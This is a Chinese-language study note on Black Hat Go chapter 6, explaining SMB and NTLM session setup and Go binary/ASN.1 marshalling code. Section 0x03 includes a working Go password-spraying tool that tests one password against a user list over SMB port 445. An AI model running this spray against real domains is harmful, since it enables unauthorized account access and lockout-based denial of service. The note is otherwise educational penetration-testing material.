Go渗透测试笔记(六)–与SMB和NTLM交互

0x00 前言

在前面的学习中,我们研究了用于网络通信的三种协议:TCP,HTTP和DNS,这次我们使用SMB(服务器消息块)(Server Message Block)协议来对网络协议进行讨论。SMB被证明是针对Windows系统后渗透中最有用的协议。

SMB具有多种用途,通常用于网上共享资源,例如,文件打印机和串行端口。如果有攻击意识,SMB允许通过命名管道在分布式网络节点之间进行通信。换句话说,你可以在远程主机上执行任意命令。这就需要用到PsExec(一种在本地执行远程命令的windows工具)

SMB还有一些其他用途,主要得益于它处理NTLM身份的验证方法,该身份验证是Windows网络上大量使用的质询--响应安全协议。用途包括,远程密码猜测,基于散列的身份验证(pass-the-hash),SMB中继和NBNS/LLMNR欺骗

0x01 SMB包

由于没有现成的SMB包,所以使用作者编写的

https://github.com/blackhat-go/bhg/tree/master/ch-6/smb

改天去挖掘一下源代码

0x02 理解SMB

SMB是一种应用层协议,它类似于HTTP协议,允许网络节点之间互相通信。与HTTP1.1(使用ASCII 可读写文本进行通信)不同,SMB是一种二进制协议,使用固定长度和可变长度,位置与低字节序字段的组合。SMB有多个版本,2.0,2.1,3.0,3.0.2和3.1.1.由于每个版本的处理方式和要求各不相通,因此客户端和服务器必须事先约定好要使用哪个版本。

其中Windows系统支持多个版本,Microsoft提供了一个表格,显示在协商过程中要安装哪个版本

图片来源:https://kb-cn.netapp.com/Advice_and_Troubleshooting/Data_Storage_Software/ONTAP_OS/What_is_the_default_negotiated_SMB_version_with_various_versions_of_Data_ONTAP_and_Windows_clients

在这里,我们使用SMB 2.1

1. 理解SMB安全令牌

SMB消息包含用于对网络中的用户和计算机进行身份验证的安全令牌。通过一系列会话消息来选择身份认证机制。该消息允许客户端和服务器就相互支持的身份验证类型达成一致。Active Directory域通常使用NTLM安全支持提供程序(NTLMSSP),后者是一个二进制的网络协议,该协议将NTLM密码散列和质询-响应,令牌结合使用,以便在网络上进行用户的身份认证。

质询-响应令牌可以理解为一个加密答案,除了NTLMSSP之外,还有一种常见的身份认证机制,即Kerberos

将身份认证机制与SMB规范分开,可以使SMB在不同的环境中使用不同的身份验证方法。具体取决于域和企业的安全要求,以及客户端-服务器的支持。但是,将身份验证机制和SMB规范分开,使Go创建更加困难。而格式与我们将用于普通的SMB的位置二进制编码不同,这种混合编码增加了复杂性。

2. 创建一个SMB会话

客户端和服务器执行以下过程以成功设置SMB2.1会话并选择NTLPSSP方言

  1. 客户端向服务器发送协商协议(Negotiate Protocol)请求,该消息中包含客户端支持的方言列表。

  2. 服务器以协商协议响应消息作为响应,该消息表明服务器选择的方言,将来的消息都将使用该方言,响应中包含服务器支持的身份验证机制列表。

  3. 客户端选择一种受支持的身份验证类型,例如NTLMSSP,并使用该信息创建会话设置请求消息发送到服务器,该消息中包含一个序列化的安全结构,表明他是NTLMSSP协商请求

  4. 服务器以会话设置响应消息答复。此消息表明需要更多处理,且此消息中包含服务器质询令牌。

  5. 客户端计算用户的NTLM散列值(使用域,用户密码作为输入),,然后将其与服务器质询,随机客户端质询和其他数据结合起来生成质询响应。它包含在客户端发送给服务器的新会话设置请求消息中。而该消息中包含的序列化的安全结构规则表明其是NTLMSSP身份验证请求。这样,服务器就可以区分两个会话设置SMB请求。

  6. 服务器与权威性资源(例如使用域凭据进行身份验证的域控制器)进行交互。以将客户端提供的质询-响应信息与权威性紫泉计算出的值进行比较,如果他们匹配,则对客户端进行身份认证,服务器会话设置响应消息发送给客户端,表示登录成功(该消息中包含客户端,可以用来跟踪会话状态的唯一会话标识符)

  7. 客户端发送其他消息以访问文件共享,命名管道,打印机等,每个消息都包含特定的会话标识符,服务器可以通过该标识符来验证客户端的身份状态。

以下是一些相关规范

MS-SMB2

MS-SPNG 和 RFC 4178 封装了 MS-NLMP数据的GSS-API规范

MS-NTLM

AN=SN.1

3. 使用结构域的混合编码

SMB规范要求对大多数消息数据进行位置,二进制,低字节序,固定和可变长度编码。但是某些字段需要进行ASN.1编码,该字段使用显式标记符来标识字段索引,类型和长度。

1
2
3
4
5
6
7
8
9
Type Foo struct{
x int
y []byte
}
type Message struct{
A int //二进制,位置编码
B Foo //规范要求的ASN.1 编码
C bool // 二进制,位置编码
}

无法使用i相同的编码方案对结构体Message中的所有类型进行编码,因为Foo类型的B字段需要使用ASN.1编码

1. 编写自定义的序列化和反序列化结构

Go的二进制包的行为方式与它递归地对所有结构体字段进行编码的方式相同。但没有什么用,因为需要混合编码

1
binary.Write(someWriter,binary.LittleEndian,message)

要解决此问题,可以创建一个接口,该接口允许任意类型的自定义序列化和反序列化逻辑

1
2
3
4
type BinaryMarshallable interface {
MarshalBinary(*Metadata) ([]byte, error)
UnmarshalBinary([]byte, *Metadata) error
}

2. 包装接口

任何实现了接口BinaryMarshallable的类型都可以控制自己的编码,我们需要创建包装函数marsgal()unmarshal(),在其中检查数据以确定该类型是否实现了接口BinaryMarshakkable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
func marshal(v interface{}, meta *Metadata) ([]byte, error) {
var ret []byte
typev := reflect.TypeOf(v)
valuev := reflect.ValueOf(v)

bm, ok := v.(BinaryMarshallable)
if ok {
// Custom marshallable interface found.
buf, err := bm.MarshalBinary(meta)
if err != nil {
return nil, err
}
return buf, nil
}

if typev.Kind() == reflect.Ptr {
valuev = reflect.Indirect(reflect.ValueOf(v))
typev = valuev.Type()
}

w := bytes.NewBuffer(ret)
switch typev.Kind() {
case reflect.Struct:
m := &Metadata{
Tags: &TagMap{},
Lens: make(map[string]uint64),
Parent: v,
}
for j := 0; j < valuev.NumField(); j++ {
tags, err := parseTags(typev.Field(j))
if err != nil {
return nil, err
}
m.Tags = tags
buf, err := marshal(valuev.Field(j).Interface(), m)
if err != nil {
return nil, err
}
m.Lens[typev.Field(j).Name] = uint64(len(buf))
if err := binary.Write(w, binary.LittleEndian, buf); err != nil {
return nil, err
}
}
case reflect.Slice, reflect.Array:
switch typev.Elem().Kind() {
case reflect.Uint8:
if err := binary.Write(w, binary.LittleEndian, v.([]uint8)); err != nil {
return nil, err
}
case reflect.Uint16:
if err := binary.Write(w, binary.LittleEndian, v.([]uint16)); err != nil {
return nil, err
}
}
case reflect.Uint8:
if err := binary.Write(w, binary.LittleEndian, valuev.Interface().(uint8)); err != nil {
return nil, err
}
case reflect.Uint16:
data := valuev.Interface().(uint16)
if meta != nil && meta.Tags.Has("len") {
fieldName, err := meta.Tags.GetString("len")
if err != nil {
return nil, err
}
l, err := getFieldLengthByName(fieldName, meta)
if err != nil {
return nil, err
}
data = uint16(l)
}
if meta != nil && meta.Tags.Has("offset") {
fieldName, err := meta.Tags.GetString("offset")
if err != nil {
return nil, err
}
l, err := getOffsetByFieldName(fieldName, meta)
if err != nil {
return nil, err
}
data = uint16(l)
}
if err := binary.Write(w, binary.LittleEndian, data); err != nil {
return nil, err
}
case reflect.Uint32:
data := valuev.Interface().(uint32)
if meta != nil && meta.Tags.Has("len") {
fieldName, err := meta.Tags.GetString("len")
if err != nil {
return nil, err
}
l, err := getFieldLengthByName(fieldName, meta)
if err != nil {
return nil, err
}
data = uint32(l)
}
if meta != nil && meta.Tags.Has("offset") {
fieldName, err := meta.Tags.GetString("offset")
if err != nil {
return nil, err
}
l, err := getOffsetByFieldName(fieldName, meta)
if err != nil {
return nil, err
}
data = uint32(l)
}
if err := binary.Write(w, binary.LittleEndian, data); err != nil {
return nil, err
}
case reflect.Uint64:
if err := binary.Write(w, binary.LittleEndian, valuev.Interface().(uint64)); err != nil {
return nil, err
}
default:
return nil, errors.New(fmt.Sprintf("Marshal not implemented for kind: %s", typev.Kind()))
}
return w.Bytes(), nil
}

3. 强制ASN.1编码

1
2
3
4
5
6
func (n *NegTokenInit) MarshalBinary(meta *encoder.Metadata) ([]byte, error) {
buf, err := asn1.Marshal(*n)
if err != nil {
log.Panicln(err)
return nil, err
}

调用asn1.Marshal(*n)适合 go 可以和 asn.1编码与SMB规范定义的基本数据格式配合使用

4. 了解元数据和引用字段

SMB规范中可以知道:从协商响应消息端中获取的字段指的是包含实际值的可变长度字节切片的偏移量和长度

SecurityBufferOffset(两个字节):从SMB2标头开始到安全缓冲区的偏移量(以字节为单位)

SecurityBufferLength(两个字节):从安全缓冲区的长度

5. SMB的实现

这里略过,因为我看不懂

0x03 使用SMB包猜测密码

现在我们来试一下利用SMB包实施在线密码猜解,我们先下载smb包

go get github.com/blackhat-go/bhg/ch-6/smb/smb

接下来编写代码,接受保存换行符分割的用户名,密码,域和目标主体,为了避免将账户锁定在某些域之外,我们将尝试对一个用户列表使用同一个密码,而不是对一个或多个用户使用密码列表。

在线密码猜测可以将账户锁定在域之外,从而有效的实施拒绝服务攻击,测试时务必谨慎。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main

import (
"bytes"
"fmt"
"io/ioutil"
"log"
"os"

"github.com/blackhat-go/bhg/ch-6/smb/smb"
)

func main() {
if len(os.Args) != 5 {
log.Fatalln("Usage: main </user/file> <password> <domain> <target_host>")
}

buf, err := ioutil.ReadFile(os.Args[1])
if err != nil {
log.Fatalln(err)
}
options := smb.Options{
Password: os.Args[2],
Domain: os.Args[3],
Host: os.Args[4],
Port: 445,
}

users := bytes.Split(buf, []byte{'\n'})
for _, user := range users {
options.User = string(user)
session, err := smb.NewSession(options, false)
if err != nil {
fmt.Printf("[-] Login failed: %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
continue
}
defer session.Close()
if session.IsAuthenticated {
fmt.Printf("[+] Success : %s\\%s [%s]\n",
options.Domain,
options.User,
options.Password)
}
}
}

0x04 通过pass the hash重用密码

先搁一下,学内网的时候在返回来看。